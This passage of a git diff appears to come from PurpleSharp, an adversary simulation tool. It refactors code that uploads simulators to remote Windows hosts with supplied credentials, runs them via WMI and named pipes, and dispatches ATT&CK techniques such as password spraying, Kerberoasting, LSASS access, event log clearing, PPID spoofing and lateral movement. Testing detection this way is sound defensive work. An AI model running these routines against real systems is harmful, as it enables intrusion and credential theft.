cmd_params.remote_password, cmd_params.domain); - Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", payload[1], payload[2], payload[3] ); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); + sim_request = new SimulationRequest("ACT"); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_namepipe, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); - if (verbose) + if (cmd_params.verbose) { Console.WriteLine("[+] Grabbing the Scout output..."); System.Threading.Thread.Sleep(1000); - string sresults = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + string sresults = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); Console.WriteLine("[+] Results:"); Console.WriteLine(); Console.WriteLine(sresults); @@ -640,10 +654,10 @@ public static void ExecuteRemoteTechniques(string rhost, string domain, string r Thread.Sleep(5000); bool finished = false; int counter = 1; - string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + string results = RemoteLauncher.readFile(cmd_params.remote_host, simfolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); while (finished == false) { - + if (results.Split('\n').Last().Contains("Playbook Finished")) { //Console.WriteLine("[+] Obtaining the Simulator output..."); @@ -652,21 +666,21 @@ public static void ExecuteRemoteTechniques(string rhost, string domain, string r Console.WriteLine(results); Console.WriteLine(); Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + simfpath.Replace(":", "$")); - RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (simfolder + log).Replace(":", "$")); - RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (scoutFolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + simfpath.Replace(":", "$")); + RemoteLauncher.delete(simfpath, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (simfolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(simfolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); finished = true; } else { Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + results = RemoteLauncher.readFile(cmd_params.remote_host, simfolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); } counter += 1; } @@ -675,26 +689,46 @@ public static void ExecuteRemoteTechniques(string rhost, string domain, string r else { Console.WriteLine("[!] Could not connect to namedpipe service"); - Console.WriteLine("[!] Exitting."); + Console.WriteLine("[!] Exiting."); return; } } + // No Opsec else { - Console.WriteLine("[+] Uploading and executing the Simulator on {0} ", @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.wmiexec(rhost, scoutfpath, "/s", domain, ruser, rpwd); + Console.WriteLine("[+] Uploading and executing the Simulator on {0} ", @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.upload(uploadPath, cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, "/s", cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); Thread.Sleep(2000); - if (cleanup) NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:" + variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:True"); - else NamedPipes.RunClient(rhost, domain, ruser, rpwd, simulator_np, "technique:" + techniques + " variation:"+ variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:False"); + SimulationPlaybook playbook = new SimulationPlaybook(); + List tasks = new List(); + if (cmd_params.techniques.Contains(",")) + { + string[] techs = cmd_params.techniques.Split(','); + for (int i = 0; i < techs.Length; i++) + { + tasks.Add(new PlaybookTask(techs[i], cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); + } + } + else + { + tasks.Add(new PlaybookTask(cmd_params.techniques, cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); + } + playbook.tasks = tasks; + playbook.simulator_relative_path = cmd_params.simulator_relative_path; + playbook.playbook_sleep = cmd_params.playbook_sleep; + + byte[] bytes_sim_request = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", playbook))); + string result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.simulator_namedpipe, bytes_sim_request); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); Thread.Sleep(5000); bool finished = false; int counter = 1; - string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + string results = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); while (finished == false) { - + if (results.Split('\n').Last().Contains("Playbook Finished")) { Console.WriteLine("[+] Obtaining results..."); @@ -703,94 +737,88 @@ public static void ExecuteRemoteTechniques(string rhost, string domain, string r Console.WriteLine(results); Console.WriteLine(); Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (scoutFolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); finished = true; } else { Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); + results = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); } counter += 1; } } } - public static SimulationPlaybookResult ExecuteRemoteTechniquesJson(string rhost, string domain, string ruser, string rpwd, string techniques, int pbsleep, int tsleep, string scoutfpath, string scout_np, string simrpath, string log, bool opsec, bool verbose) + public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(SimulationExercise exercise, SimulationPlaybook playbook, string scout_np, string simulator_np, string log) { // techniques that need to be executed from a high integrity process string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); + int index = playbook.scout_full_path.LastIndexOf(@"\"); + string scoutFolder = playbook.scout_full_path.Substring(0, index + 1); Thread.Sleep(3000); - if (opsec) + if (playbook.opsec.Equals("ppid")) { string result = ""; string args = "/o"; //Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.upload(uploadPath, playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); //Console.WriteLine("[+] Executing the Scout via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); + RemoteLauncher.wmiexec(playbook.remote_host, playbook.scout_full_path, args, exercise.domain, exercise.username, exercise.password); //Console.WriteLine("[+] Connecting to namedpipe service ..."); - result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - if (result.Equals("SYN/ACK")) - { - //Console.WriteLine("[+] OK"); - - if (privileged_techniques.Contains(techniques.ToUpper())) result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:privileged"); - else result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "recon:regular"); + SimulationRequest sim_request = new SimulationRequest("SYN", "regular", playbook); + //if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, scout_np, bytes_sim_rqeuest); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); - string[] payload = result.Split(','); - string duser = payload[0]; + if (sim_response.header.Equals("SYN/ACK")) + { + //Console.WriteLine("[+] OK"); + string duser = sim_response.recon_response.user; if (duser == "") { - Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + playbook.remote_host + "?"); + sim_request = new SimulationRequest("FIN"); + result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); Thread.Sleep(1000); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - //Console.WriteLine("[!] Exitting."); + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + //Console.WriteLine("[!] Exiting."); return null; } else { string user = duser.Split('\\')[1]; - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "simrpath:" + simrpath); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "technique:" + techniques); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "opsec:" + "ppid"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pbsleep:" + pbsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "tsleep:" + tsleep.ToString()); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cleanup:True"); - - - string simfpath = "C:\\Users\\" + user + "\\" + simrpath; - int index2 = simrpath.LastIndexOf(@"\"); - string simrfolder = simrpath.Substring(0, index2 + 1); + string simfpath = "C:\\Users\\" + user + "\\" + playbook.simulator_relative_path; + int index2 = playbook.simulator_relative_path.LastIndexOf(@"\"); + string simrfolder = playbook.simulator_relative_path.Substring(0, index2 + 1); string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; //Console.WriteLine("[+] Uploading Simulator to " + simfpath); - RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.upload(uploadPath, simfpath, playbook.remote_host, exercise.username, exercise.password, exercise.domain); - //Console.WriteLine("[+] Triggering simulation..."); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "act"); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); + //Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); + sim_request = new SimulationRequest("ACT"); + result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); System.Threading.Thread.Sleep(5000); bool finished = false; int counter = 1; - string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); + string results = RemoteLauncher.readFile(playbook.remote_host, simfolder + log, exercise.username, exercise.password, exercise.domain); while (finished == false) { if (results.Split('\n').Last().Contains("Playbook Finished")) @@ -799,18 +827,18 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJson(string rhost, Console.WriteLine(); Console.WriteLine(results); Console.WriteLine(); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); - finished = true; + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(simfpath, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(simfolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + finished = true; } else { Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - } + results = RemoteLauncher.readFile(playbook.remote_host, simfolder + log, exercise.username, exercise.password, exercise.domain); + } counter += 1; } return Json.GetPlaybookResult(results); @@ -823,42 +851,67 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJson(string rhost, return null; } } + // No Opsec else { //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); + RemoteLauncher.upload(uploadPath, playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + - string cmdline = "/t " + techniques; //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, cmdline, domain, ruser, rpwd); + RemoteLauncher.wmiexec(playbook.remote_host, playbook.scout_full_path, "/s", exercise.domain, exercise.username, exercise.password); Thread.Sleep(3000); - Console.WriteLine("[+] Obtaining results..."); - string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - //Console.WriteLine("[+] Cleaning up..."); - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - // - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); + byte[] bytes_sim_request = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", playbook))); + string result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, simulator_np, bytes_sim_request); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + Thread.Sleep(5000); + bool finished = false; + int counter = 1; + string results = RemoteLauncher.readFile(playbook.remote_host, scoutFolder + log, exercise.username, exercise.password, exercise.domain); + while (finished == false) + { + + if (results.Split('\n').Last().Contains("Playbook Finished")) + { + Console.WriteLine("[+] Obtaining results..."); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + finished = true; + } + else + { + Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); + Thread.Sleep(counter * 10 * 1000); + results = RemoteLauncher.readFile(playbook.remote_host, scoutFolder + log, exercise.username, exercise.password, exercise.domain); + } + counter += 1; + } + + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); return Json.GetPlaybookResult(results); } + + } - public static void ExecuteTechnique(string technique, int variation, int nuser, int nhosts, int tsleep, string log, bool cleanup) + public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) { var rand = new Random(); - switch (technique) + switch (playbook_task.technique_id) { //// Initial Access //// //// Execution //// case "T1059.001": - if (variation == 1) Simulations.Execution.ExecutePowershellCmd(log); + if (playbook_task.variation == 1) Simulations.Execution.ExecutePowershellCmd(log); else Simulations.Execution.ExecutePowershellNET(log); break; @@ -887,26 +940,26 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, //T1053.005 - Scheduled Task case "T1053.005": - Simulations.Persistence.CreateScheduledTaskCmd(log, cleanup); + Simulations.Persistence.CreateScheduledTaskCmd(log, playbook_task.cleanup); break; case "T1136.001": - if (variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, cleanup); - else Simulations.Persistence.CreateLocalAccountCmd(log, cleanup); + if (playbook_task.variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, playbook_task.cleanup); + else Simulations.Persistence.CreateLocalAccountCmd(log, playbook_task.cleanup); break; case "T1543.003": - if (variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, cleanup); - else Simulations.Persistence.CreateWindowsServiceCmd(log, cleanup); + if (playbook_task.variation == 1) Simulations.Persistence.CreateWindowsServiceApi(log, playbook_task.cleanup); + else Simulations.Persistence.CreateWindowsServiceCmd(log, playbook_task.cleanup); break; case "T1547.001": - if (variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, cleanup); - else Simulations.Persistence.CreateRegistryRunKeyCmd(log, cleanup); + if (playbook_task.variation == 1) Simulations.Persistence.CreateRegistryRunKeyNET(log, playbook_task.cleanup); + else Simulations.Persistence.CreateRegistryRunKeyCmd(log, playbook_task.cleanup); break; case "T1546.003": - Simulations.Persistence.WMIEventSubscription(log, cleanup); + Simulations.Persistence.WMIEventSubscription(log, playbook_task.cleanup); break; //// Privilege Escalation //// @@ -950,9 +1003,9 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, break; case "T1070.001": - if(variation ==1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); + if (playbook_task.variation == 1) Simulations.DefenseEvasion.ClearSecurityEventLogNET(log); else Simulations.DefenseEvasion.ClearSecurityEventLogCmd(log); - + break; case "T1220": @@ -975,24 +1028,23 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, Simulations.DefenseEvasion.ParentPidSpoofing(log); break; - + //T1218.010 - Regsvr32 //// Credential Access //// - //T1110.003 - Brute Force + //T1110.003 - Password Spraying case "T1110.003": - string password = "Summer2020"; - if (variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(nuser, tsleep, password, log); - else Simulations.CredAccess.RemotePasswordSpray(nhosts, nuser, tsleep, password, log); + if (playbook_task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(playbook_task, log); + else Simulations.CredAccess.RemoteDomainPasswordSpray(playbook_task, log); break; //T1558.003 - Kerberoasting case "T1558.003": - Simulations.CredAccess.Kerberoasting(log, tsleep); + Simulations.CredAccess.Kerberoasting(log, playbook_task.task_sleep); break; //T1003.001 - LSASS Memory @@ -1007,6 +1059,12 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, Simulations.Discovery.SystemNetworkConfigurationDiscovery(log); break; + // Remote System Discovery + case "T1018": + if (playbook_task.variation == 1) Simulations.Discovery.RemoteSystemDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.RemoteSystemDiscoveryPowerShell(log); + break; + //T1083 File and Directory Discovery case "T1083": Simulations.Discovery.FileAndDirectoryDiscovery(log); @@ -1014,21 +1072,25 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, //T1135 - Network Share Discovery case "T1135": - Simulations.Discovery.EnumerateShares(nhosts, tsleep, log); + if (playbook_task.variation == 1) Simulations.Discovery.NetworkShareEnumerationCmdLocal(log); + else if (playbook_task.variation == 2) Simulations.Discovery.NetworkShareEnumerationCmdRemote(playbook_task, log); + else Simulations.Discovery.NetworkShareEnumerationApiRemote(playbook_task, log); break; //T1046 - Network Service Scanning case "T1046": - Simulations.Discovery.NetworkServiceDiscovery(nhosts, tsleep, log); + Simulations.Discovery.NetworkServiceDiscovery(playbook_task, log); break; case "T1087.001": - Simulations.Discovery.LocalAccountDiscoveryCmd(log); + if (playbook_task.variation == 1) Simulations.Discovery.LocalAccountDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.LocalAccountDiscoveryPowerShell(log); break; case "T1087.002": - if (variation ==1 ) Simulations.Discovery.DomainAccountDiscoveryLdap(log); - else Simulations.Discovery.DomainAccountDiscoveryCmd(log); + if (playbook_task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.DomainAccountDiscoveryPowerShell(log); + else Simulations.Discovery.DomainAccountDiscoveryLdap(log); break; case "T1007": @@ -1044,7 +1106,8 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, break; case "T1482": - Simulations.Discovery.DomainTrustDiscovery(log); + if (playbook_task.variation == 1) Simulations.Discovery.DomainTrustDiscoveryCmd(log); + else Simulations.Discovery.DomainTrustDiscoveryPowerShell(log); break; case "T1201": @@ -1056,7 +1119,9 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, break; case "T1069.002": - Simulations.Discovery.DomainGroups(log); + if (playbook_task.variation == 1) Simulations.Discovery.DomainGroupDiscoveryCmd(playbook_task, log); + else if (playbook_task.variation == 2) Simulations.Discovery.DomainGroupDiscoveryPowerShell(playbook_task, log); + else Simulations.Discovery.DomaiGroupDiscoveryLdap(playbook_task, log); break; case "T1012": @@ -1079,17 +1144,17 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, //T1021.006 - Windows Remote Management case "T1021.006": - Simulations.LateralMovement.WinRmCodeExec(nhosts, tsleep, log); + Simulations.LateralMovement.WinRmCodeExec(playbook_task.host_target_total, playbook_task.task_sleep, log); break; //T1021 - Remote Service case "T1021": - Simulations.LateralMovement.CreateRemoteServiceOnHosts(nhosts, tsleep, cleanup, log); + Simulations.LateralMovement.CreateRemoteServiceOnHosts(playbook_task.host_target_total, playbook_task.task_sleep, playbook_task.cleanup, log); break; //T1047 - Windows Management Instrumentation case "T1047": - Simulations.LateralMovement.ExecuteWmiOnHosts(nhosts, tsleep, log); + Simulations.LateralMovement.ExecuteWmiOnHosts(playbook_task.host_target_total, playbook_task.task_sleep, log); break; // Collection @@ -1103,7 +1168,7 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, // Other Techniques case "privenum": - Simulations.Discovery.PrivilegeEnumeration(nhosts, tsleep, log); + Simulations.Discovery.PrivilegeEnumeration(playbook_task.host_target_total, playbook_task.task_sleep, log); break; default: @@ -1111,24 +1176,15 @@ public static void ExecuteTechnique(string technique, int variation, int nuser, } } - public static void ExecuteTechniques(string technique, int variation, int nuser, int nhosts, int pbsleep, int tsleep, string log, bool cleanup) + public static void ExecutePlaybook(SimulationPlaybook playbook, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); - - if (technique.Contains(",")) - { - string[] techniques = technique.Split(','); - for (int i=0; i < techniques.Length; i++) - { - ExecuteTechnique(techniques[i].Trim(), variation, nuser, nhosts, tsleep, log, cleanup); - if (pbsleep > 0 && i != techniques.Length-1) Thread.Sleep(1000 * pbsleep); - } - logger.TimestampInfo("Playbook Finished"); - } - else + PlaybookTask lastTask = playbook.tasks.Last(); + foreach (PlaybookTask task in playbook.tasks) { - ExecuteTechnique(technique, variation, nuser, nhosts, tsleep, log, cleanup); + ExecutePlaybookTask(task, log); + if (playbook.playbook_sleep > 0 && task != lastTask ) Thread.Sleep(1000 * playbook.playbook_sleep); logger.TimestampInfo("Playbook Finished"); } } diff --git a/PurpleSharp/PurpleSharp.csproj b/PurpleSharp/PurpleSharp.csproj index 7d2561c..9b17c73 100644 --- a/PurpleSharp/PurpleSharp.csproj +++ b/PurpleSharp/PurpleSharp.csproj @@ -89,6 +89,7 @@ + diff --git a/PurpleSharp/Simulations/CredAccess.cs b/PurpleSharp/Simulations/CredAccess.cs index 4ed0edf..26b10d8 100644 --- a/PurpleSharp/Simulations/CredAccess.cs +++ b/PurpleSharp/Simulations/CredAccess.cs @@ -1,4 +1,5 @@ -using System; +using PurpleSharp.Lib; +using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; @@ -6,59 +7,40 @@ using System.Text; using System.Threading; using System.Threading.Tasks; +using TaskScheduler; namespace PurpleSharp.Simulations { public class CredAccess { - public static void LocalDomainPasswordSpray(int nuser, int sleep, string password, string log) + public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Lib.Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Local Domain Brute Force using the LogonUser Win32 API function")); - bool Kerberos = new bool(); + logger.TimestampInfo(String.Format("Using {0}", playbook_task.protocol)); try { - var rand = new Random(); - //int usertype = rand.Next(1, 7); - int usertype = 1; - List usertargets = Lib.Targets.GetUserTargets(usertype, nuser, logger) ; - - //int protocol = rand.Next(1, 3); - int protocol = 2; - switch (protocol) - { - case 1: - Kerberos = true; - break; - - case 2: - Kerberos = false; - break; + List usertargets = Targets.GetUserTargets(playbook_task, logger) ; - default: - return; - } - logger.TimestampInfo(String.Format("Obtained {0} user accounts", usertargets.Count)); - if (sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", sleep)); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); String domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; - if (usertype == 6) domain = "."; + //if (playbook_task.user_target_type == 6) domain = "."; foreach (var user in usertargets) { - if (Kerberos) + if (playbook_task.protocol.ToUpper().Equals("KERBEROS")) { - - CredAccessHelper.LogonUser(user.UserName, domain, password, 2, 0, logger); - if (sleep > 0) Thread.Sleep(sleep * 1000); + CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 0, logger); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } else { - CredAccessHelper.LogonUser(user.UserName, domain, password, 2, 2, logger); - if (sleep > 0) Thread.Sleep(sleep * 1000); + CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 2, logger); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } } logger.SimulationFinished(); @@ -70,94 +52,69 @@ public static void LocalDomainPasswordSpray(int nuser, int sleep, string passwor } - public static void RemotePasswordSpray(int nhost, int nuser, int sleep, string password, string log) + public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Remote Domain Brute Force using the WNetAddConnection2 Win32 API function")); - bool Kerberos = new bool(); - List targets = new List(); - List targetusers = new List(); + bool Kerberos = false; + List host_targets = new List(); + List user_targets = new List(); List tasklist = new List(); - string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; - + string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + try { - var rand = new Random(); - int usertype = rand.Next(1, 7); - usertype = 1; - if (usertype == 6) domain = "."; - //int protocol = rand.Next(1, 3); + if (playbook_task.user_target_type == 99) domain = "."; // Executing a remote authentication with Kerberos will not connect to the remote host, just the DC. - int protocol = 2; + Kerberos = false; - logger.TimestampInfo(String.Format("Querying LDAP for random targets...")); + host_targets = 